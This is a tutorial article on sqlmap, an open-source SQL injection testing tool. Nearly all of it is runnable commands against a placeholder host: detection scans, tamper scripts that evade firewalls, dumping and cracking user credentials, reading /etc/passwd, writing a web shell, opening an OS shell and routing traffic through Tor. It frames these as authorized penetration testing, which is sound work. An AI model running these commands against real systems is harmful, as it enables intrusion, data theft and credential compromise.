sqlmap: SQL Injection Testing Tool Guide
Master sqlmap for automated SQL injection detection and exploitation. Learn database enumeration, data extraction, tamper scripts, and advanced techniques for professional security assessments.
Dai Aoki
CEO at init, Inc. / CTO at US & JP startups / Creator of WebTerm
Quick Reference
Detection
sqlmap -u "URL?id=1"Test URL parameter--formsAuto-detect and test forms--level=5 --risk=3Maximum detectionEnumeration
--dbsList all databases-D db --tablesList tables in database-D db -T tbl --dumpDump table dataAuthentication
--cookie="SESS=abc"Use session cookie--auth-type=Basic --auth-cred="user:pass"HTTP auth--headers="X-Token: abc"Custom headerAdvanced
--tamper=space2commentUse tamper script--os-shellGet OS shell--file-read="/etc/passwd"Read server fileOptimization
--threads=10Parallel requests--technique=BEUSTQSpecify techniques--batchNon-interactive modeOutput
-v 3Verbose with payloads--output-dir=/pathCustom output dir--flush-sessionClear cached dataDownloadable Image Preview
Overview
sqlmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It comes with a powerful detection engine, numerous niche features for the ultimate penetration tester, and a broad range of switches that cover database fingerprinting, data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
sqlmap supports a full range of SQL injection techniques including boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band injection. It can detect and exploit vulnerabilities across all major database management systems including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, MariaDB, IBM DB2, and many others.
Key capabilities of sqlmap include:
- Automatic detection of SQL injection vulnerability types and database backends
- Full enumeration of databases, tables, columns, and data
- Password hash extraction and dictionary-based cracking
- File system read/write access on the database server
- Operating system command execution through database exploitation
- WAF/IPS evasion via tamper scripts and encoding techniques
- Integration with Burp Suite, HTTP request files, and proxy chains
Installation
sqlmap is written in Python and can be installed through multiple methods. It is pre-installed on most penetration testing distributions like Kali Linux and Parrot OS.
# Install via apt (Debian/Ubuntu/Kali)
sudo apt update
sudo apt install sqlmap
# Install via pip
pip install sqlmap
# Install from source (latest development version)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --version
# Update existing source installation
cd sqlmap-dev
git pull
# Verify installation
sqlmap --versionBasic Usage
The fundamental workflow with sqlmap involves providing a target URL with potentially injectable parameters. sqlmap then automatically tests for SQL injection vulnerabilities, identifies the database backend, and allows you to enumerate and extract data.
URL Parameter Testing
The most common use case is testing GET parameters in URLs. sqlmap will automatically identify injectable parameters and determine the appropriate injection technique.
# Test a single URL parameter
sqlmap -u "http://target.com/page?id=1"
# Specify a particular parameter to test
sqlmap -u "http://target.com/page?id=1&cat=2" -p id
# Test all parameters
sqlmap -u "http://target.com/page?id=1&cat=2&sort=name" --all
# Use a specific HTTP method
sqlmap -u "http://target.com/api/items/1" --method=PUT
# Follow redirects
sqlmap -u "http://target.com/page?id=1" --follow-redirect
# Specify the database backend to speed up detection
sqlmap -u "http://target.com/page?id=1" --dbms=mysqlPOST Data Testing
For testing form submissions and POST requests, use the --data flag to provide the POST body. sqlmap will test each parameter in the data string.
# Test POST parameters
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
# Test a specific POST parameter
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username
# Test JSON POST data
sqlmap -u "http://target.com/api/login" \
--data='{"username":"admin","password":"test"}' \
--content-type="application/json"
# Test multipart form data
sqlmap -u "http://target.com/upload" \
--data="file=test&description=sample" \
--method=POST
# Use a request file saved from Burp Suite or browser
sqlmap -r request.txt-r request.txt with a saved HTTP request file is often the most reliable method. You can capture the request from Burp Suite or browser developer tools, save it to a file, and pass it directly to sqlmap. This preserves all headers, cookies, and the exact request format.Cookie-Based Testing
Many web applications use cookies for session management and may have injectable cookie parameters. sqlmap can test cookie values for SQL injection vulnerabilities.
# Provide session cookies for authenticated testing
sqlmap -u "http://target.com/profile?id=1" \
--cookie="PHPSESSID=abc123; role=user"
# Test cookie parameters for injection (level >= 2 required)
sqlmap -u "http://target.com/dashboard" \
--cookie="tracking_id=abc123" \
--level=2 -p tracking_id
# Load cookies from a file
sqlmap -u "http://target.com/page?id=1" \
--load-cookies=cookies.txt
# Handle cookie-based CSRF tokens
sqlmap -u "http://target.com/page?id=1" \
--cookie="session=abc; csrf_token=xyz" \
--csrf-token=csrf_tokenDetection Techniques
sqlmap provides fine-grained control over the detection process through level, risk, and technique parameters. Understanding these settings is essential for thorough and efficient testing.
Level and Risk
The --level parameter controls the breadth of tests performed, while --risk controls how aggressive the payloads are.
| Level | Tests Performed |
|---|---|
| 1 (default) | Tests GET and POST parameters with basic payloads |
| 2 | Also tests HTTP Cookie header values |
| 3 | Also tests HTTP User-Agent and Referer headers |
| 4 | Additional payloads and broader boundary testing |
| 5 | Maximum coverage with OR-based payloads in UNION queries |
| Risk | Payload Behavior |
|---|---|
| 1 (default) | Harmless test payloads only |
| 2 | Adds heavy time-based blind queries |
| 3 | Adds OR-based payloads (may modify data in INSERT/UPDATE statements) |
# Default detection (level 1, risk 1)
sqlmap -u "http://target.com/page?id=1"
# Thorough detection including cookies and headers
sqlmap -u "http://target.com/page?id=1" --level=3 --risk=2
# Maximum detection coverage
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# Verbose output to see the payloads being tested
sqlmap -u "http://target.com/page?id=1" --level=3 -v 3--risk=3 can cause data modifications in the target database. OR-based payloads used at this risk level may alter or corrupt data in INSERT and UPDATE statements. Use with extreme caution and only on dedicated test environments.Injection Techniques
sqlmap supports six SQL injection techniques, each identified by a letter. You can specify which techniques to use with the --technique flag.
| Letter | Technique | Description |
|---|---|---|
| B | Boolean-based blind | Infers data by observing true/false responses |
| E | Error-based | Extracts data from database error messages |
| U | UNION query-based | Appends UNION SELECT to retrieve data directly |
| S | Stacked queries | Executes additional statements separated by semicolons |
| T | Time-based blind | Infers data by observing response time delays |
| Q | Inline queries | Uses inline (nested) queries within the original statement |
# Use all techniques (default)
sqlmap -u "http://target.com/page?id=1" --technique=BEUSTQ
# Use only UNION-based and error-based (faster)
sqlmap -u "http://target.com/page?id=1" --technique=EU
# Use only time-based blind (stealthier but slower)
sqlmap -u "http://target.com/page?id=1" --technique=T
# Use boolean-based blind with specific time delay
sqlmap -u "http://target.com/page?id=1" --technique=B --time-sec=5
# Specify the number of columns for UNION injection
sqlmap -u "http://target.com/page?id=1" --technique=U --union-cols=5Database Enumeration
Once a SQL injection vulnerability is confirmed, sqlmap provides a comprehensive set of enumeration options to map out the database structure and extract data. Enumeration typically follows a top-down approach: databases, tables, columns, then data.
# Get the current database name
sqlmap -u "http://target.com/page?id=1" --current-db
# Get the current database user
sqlmap -u "http://target.com/page?id=1" --current-user
# Check if current user is a DBA
sqlmap -u "http://target.com/page?id=1" --is-dba
# List all databases
sqlmap -u "http://target.com/page?id=1" --dbs
# List tables in a specific database
sqlmap -u "http://target.com/page?id=1" -D target_db --tables
# List columns in a specific table
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --columns
# Dump data from a specific table
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump
# Dump specific columns only
sqlmap -u "http://target.com/page?id=1" -D target_db -T users \
-C username,password,email --dump
# Dump with row limits (useful for large tables)
sqlmap -u "http://target.com/page?id=1" -D target_db -T users \
--dump --start=1 --stop=100
# Dump all databases (use with caution)
sqlmap -u "http://target.com/page?id=1" --dump-all
# Exclude system databases when dumping
sqlmap -u "http://target.com/page?id=1" --dump-all --exclude-sysdbs
# Search for databases, tables, or columns by name
sqlmap -u "http://target.com/page?id=1" --search -D admin
sqlmap -u "http://target.com/page?id=1" --search -T user
sqlmap -u "http://target.com/page?id=1" --search -C password# Get database schema (all databases, tables, and columns)
sqlmap -u "http://target.com/page?id=1" --schema
# Count rows in tables
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --count
# Retrieve database banner information
sqlmap -u "http://target.com/page?id=1" --banner
# List database users and their password hashes
sqlmap -u "http://target.com/page?id=1" --users --passwords
# List user privileges
sqlmap -u "http://target.com/page?id=1" --privilegesAdvanced Techniques
Tamper Scripts
Tamper scripts modify sqlmap payloads before sending them to the target. They are essential for bypassing Web Application Firewalls (WAFs), Intrusion Prevention Systems (IPS), and custom input filters. sqlmap ships with dozens of built-in tamper scripts.
# Use a single tamper script
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
# Chain multiple tamper scripts
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,between,randomcase
# Common tamper scripts for WAF bypass
sqlmap -u "http://target.com/page?id=1" \
--tamper=apostrophemask,equaltolike,space2dash
# Tamper scripts for specific databases
# MySQL
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2mysqlblank,versionedmorekeywords
# MSSQL
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2mssqlhash,percentage
# List all available tamper scripts
sqlmap --list-tampers| Tamper Script | Description |
|---|---|
| space2comment | Replaces spaces with inline comments /**/ |
| between | Replaces > with NOT BETWEEN 0 AND |
| randomcase | Randomly changes the case of SQL keywords |
| charencode | URL-encodes all characters in the payload |
| equaltolike | Replaces = with LIKE |
| base64encode | Base64-encodes all characters in the payload |
OS Access and File Operations
When the database user has sufficient privileges, sqlmap can interact with the underlying operating system. This includes reading and writing files on the server and executing OS commands.
# Read a file from the server
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
# Read application source code
sqlmap -u "http://target.com/page?id=1" \
--file-read="/var/www/html/config.php"
# Write a file to the server
sqlmap -u "http://target.com/page?id=1" \
--file-write="./shell.php" \
--file-dest="/var/www/html/shell.php"
# Get an interactive OS shell
sqlmap -u "http://target.com/page?id=1" --os-shell
# Execute a single OS command
sqlmap -u "http://target.com/page?id=1" --os-cmd="whoami"
# Get a SQL shell for direct query execution
sqlmap -u "http://target.com/page?id=1" --sql-shell
# Execute a specific SQL query
sqlmap -u "http://target.com/page?id=1" \
--sql-query="SELECT version()"Practical Examples
GET Parameter Injection
A complete workflow for testing and exploiting a GET parameter SQL injection vulnerability, from initial detection through full data extraction.
# Step 1: Initial detection scan
sqlmap -u "http://target.com/products?category=1" --batch
# Step 2: Identify the database backend and enumerate databases
sqlmap -u "http://target.com/products?category=1" --dbs --batch
# Step 3: List tables in the target database
sqlmap -u "http://target.com/products?category=1" \
-D shop_db --tables --batch
# Step 4: Enumerate columns in the users table
sqlmap -u "http://target.com/products?category=1" \
-D shop_db -T users --columns --batch
# Step 5: Extract user credentials
sqlmap -u "http://target.com/products?category=1" \
-D shop_db -T users -C username,password,email --dump --batch
# Step 6: Attempt to crack password hashes
sqlmap -u "http://target.com/products?category=1" \
-D shop_db -T users -C password --dump --batch \
--passwordsPOST Form Testing
Testing login forms and other POST-based endpoints is a common scenario in web application penetration testing. This example demonstrates testing a login form with various techniques.
# Test a login form with POST data
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test123" \
--method=POST --batch
# Test with form auto-detection
sqlmap -u "http://target.com/login" --forms --batch
# Test with a specific parameter and DBMS hint
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test123" \
-p username --dbms=mysql --batch
# Handle CSRF tokens in the form
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test&token=abc123" \
--csrf-token=token --batch
# Use a saved request from Burp Suite
# Save the intercepted request to a file, then:
sqlmap -r login_request.txt --batch
# Test with a proxy for monitoring traffic
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test123" \
--proxy="http://127.0.0.1:8080" --batchAuthenticated Scanning
Many SQL injection vulnerabilities exist behind authentication. Testing authenticated endpoints requires providing valid session credentials to sqlmap.
# Use session cookies for authenticated testing
sqlmap -u "http://target.com/admin/users?id=1" \
--cookie="PHPSESSID=a1b2c3d4e5; admin=true" --batch
# Use HTTP Basic authentication
sqlmap -u "http://target.com/api/users?id=1" \
--auth-type=Basic --auth-cred="admin:password123" --batch
# Use custom headers (e.g., JWT token)
sqlmap -u "http://target.com/api/users?id=1" \
--headers="Authorization: Bearer eyJhbGci..." --batch
# Use HTTP Digest authentication
sqlmap -u "http://target.com/api/users?id=1" \
--auth-type=Digest --auth-cred="admin:password123" --batch
# Handle session expiration with automatic re-authentication
sqlmap -u "http://target.com/dashboard?report=1" \
--cookie="session=abc123" \
--eval="import requests; session=requests.post('http://target.com/login', data={'user':'admin','pass':'test'}).cookies.get('session')" \
--batch
# Route traffic through Tor for anonymity
sqlmap -u "http://target.com/page?id=1" \
--tor --tor-type=SOCKS5 --check-tor --batchOptions Reference
The following table provides a comprehensive reference for the most commonly used sqlmap options organized by category.
| Option | Description |
|---|---|
| Target | |
| -u URL | Target URL with query parameters |
| -r FILE | Load HTTP request from a file |
| -m FILE | Scan multiple targets from a text file |
| -g DORK | Process Google dork results as target |
| Request | |
| --data=DATA | POST data string |
| --cookie=COOKIE | HTTP Cookie header value |
| --headers=HEADERS | Extra HTTP headers (newline separated) |
| --proxy=PROXY | Use a proxy for connections |
| --random-agent | Use a random HTTP User-Agent |
| Detection | |
| --level=LEVEL | Test thoroughness level (1-5, default: 1) |
| --risk=RISK | Payload aggressiveness (1-3, default: 1) |
| --technique=TECH | SQL injection techniques (BEUSTQ) |
| --dbms=DBMS | Force specific DBMS backend |
| Enumeration | |
| --dbs | Enumerate databases |
| --tables | Enumerate tables |
| --columns | Enumerate columns |
| --dump | Dump table entries |
| --dump-all | Dump all databases tables entries |
| --schema | Enumerate DBMS schema |
| OS Access | |
| --os-shell | Interactive OS shell prompt |
| --os-cmd=CMD | Execute a single OS command |
| --file-read=FILE | Read a file from the server |
| --file-write=FILE | Write a local file to the server |
| General | |
| --batch | Never ask for user input, use defaults |
| --threads=N | Maximum concurrent requests (default: 1) |
| --tamper=SCRIPT | Use tamper script(s) for payload modification |
| --flush-session | Flush session files for current target |
| --fresh-queries | Ignore query results stored in session |
| -v VERBOSE | Verbosity level (0-6, default: 1) |
Tips & Best Practices
Follow these guidelines to use sqlmap effectively and responsibly during authorized security assessments.
1. Always start with low level and risk
Begin with default settings (--level=1 --risk=1) and only increase if no vulnerabilities are found. Higher levels generate significantly more traffic and may trigger security alerts or cause service disruption. Use--level=3 --risk=2 for thorough testing, and reserve--level=5 --risk=3 for when you have exhausted other options.
2. Use --batch for scripting and automation
The --batch flag makes sqlmap non-interactive by accepting default answers to all prompts. This is essential for automated scanning pipelines but be aware that defaults may not always be optimal. Review the output carefully.
3. Save and reuse sessions
sqlmap automatically caches session data in the output directory. Subsequent runs against the same target will resume from where they left off. Use--flush-session to start a fresh scan or--fresh-queries to re-execute enumeration queries.
4. Use request files from Burp Suite
The -r option to load a saved HTTP request file is the most reliable method for complex requests. Capture the request in Burp Suite, right-click and select "Copy to file", then pass it to sqlmap. This preserves all headers, cookies, content types, and encoding.
5. Use a proxy for traffic inspection
Route sqlmap traffic through Burp Suite or another proxy with--proxy=http://127.0.0.1:8080 to monitor and verify the exact requests being sent. This helps with debugging failed injections and understanding how payloads are being processed.
6. Specify the DBMS when known
If you know the target database (from error messages, technology stack, or reconnaissance), use --dbms=mysql (or postgresql, mssql, oracle, etc.) to skip the fingerprinting phase and reduce the number of test payloads, making scans significantly faster.
7. Increase threads for faster extraction
When dumping large amounts of data, use --threads=10 to send multiple concurrent requests. This dramatically speeds up blind-based data extraction. Be mindful that too many threads may cause denial of service or trigger rate limiting.
8. Document everything
Use --output-dir=/path/to/report to organize output files. sqlmap saves all results including injection details, extracted data, and session logs. Combine with verbosity flags (-v 3 or higher) to capture detailed payload information for your penetration testing report.
Related Tools
sqlmap works best as part of a broader penetration testing toolkit. Here are complementary tools that are commonly used alongside sqlmap in web application security assessments.
| Tool | Purpose | Integration with sqlmap |
|---|---|---|
| Burp Suite | Web application proxy and scanner | Export requests for sqlmap via -r or use as proxy |
| Nmap | Network discovery and port scanning | Identify web services and technologies before sqlmap testing |
| Nikto | Web server vulnerability scanner | Discover potentially injectable endpoints to test with sqlmap |
| Metasploit | Exploitation framework | Leverage SQL injection for further exploitation post-sqlmap |
| Hashcat / John | Password hash cracking | Crack password hashes extracted by sqlmap |
| Wireshark | Network protocol analyzer | Analyze sqlmap traffic at the packet level for debugging |
Quick Reference
sqlmap -u URL- Test a URL for SQL injectionsqlmap -r request.txt- Test from a saved HTTP request--dbs / --tables / --columns / --dump- Enumerate and extract data--level=N --risk=N- Control detection thoroughness--technique=BEUSTQ- Specify injection techniques--tamper=script- Bypass WAFs and filters--os-shell- Get an operating system shell--batch --threads=10- Automate and speed up scans--proxy=URL- Route traffic through a proxy--flush-session- Start a fresh scan
Official Documentation
For authoritative information, refer to the official documentation:
Related Articles
Burp Suite: Web Application Security Testing Guide
Complete guide to Burp Suite for web application security testing. Learn proxy interception, scanning, intruder attacks, and REST API testing from the CLI.
Nikto: Web Server Vulnerability Scanner Guide
Complete guide to Nikto web server scanner. Learn vulnerability scanning, SSL testing, authentication bypass detection, and automated security assessments.
Metasploit Framework: Penetration Testing Guide
Complete guide to the Metasploit Framework for penetration testing. Learn msfconsole, exploit modules, payloads, and post-exploitation techniques.
Nmap: Network Scanner & Security Auditing Tool Guide
Comprehensive guide to Nmap for network discovery and security auditing. Learn port scanning, OS detection, NSE scripts, and practical penetration testing workflows.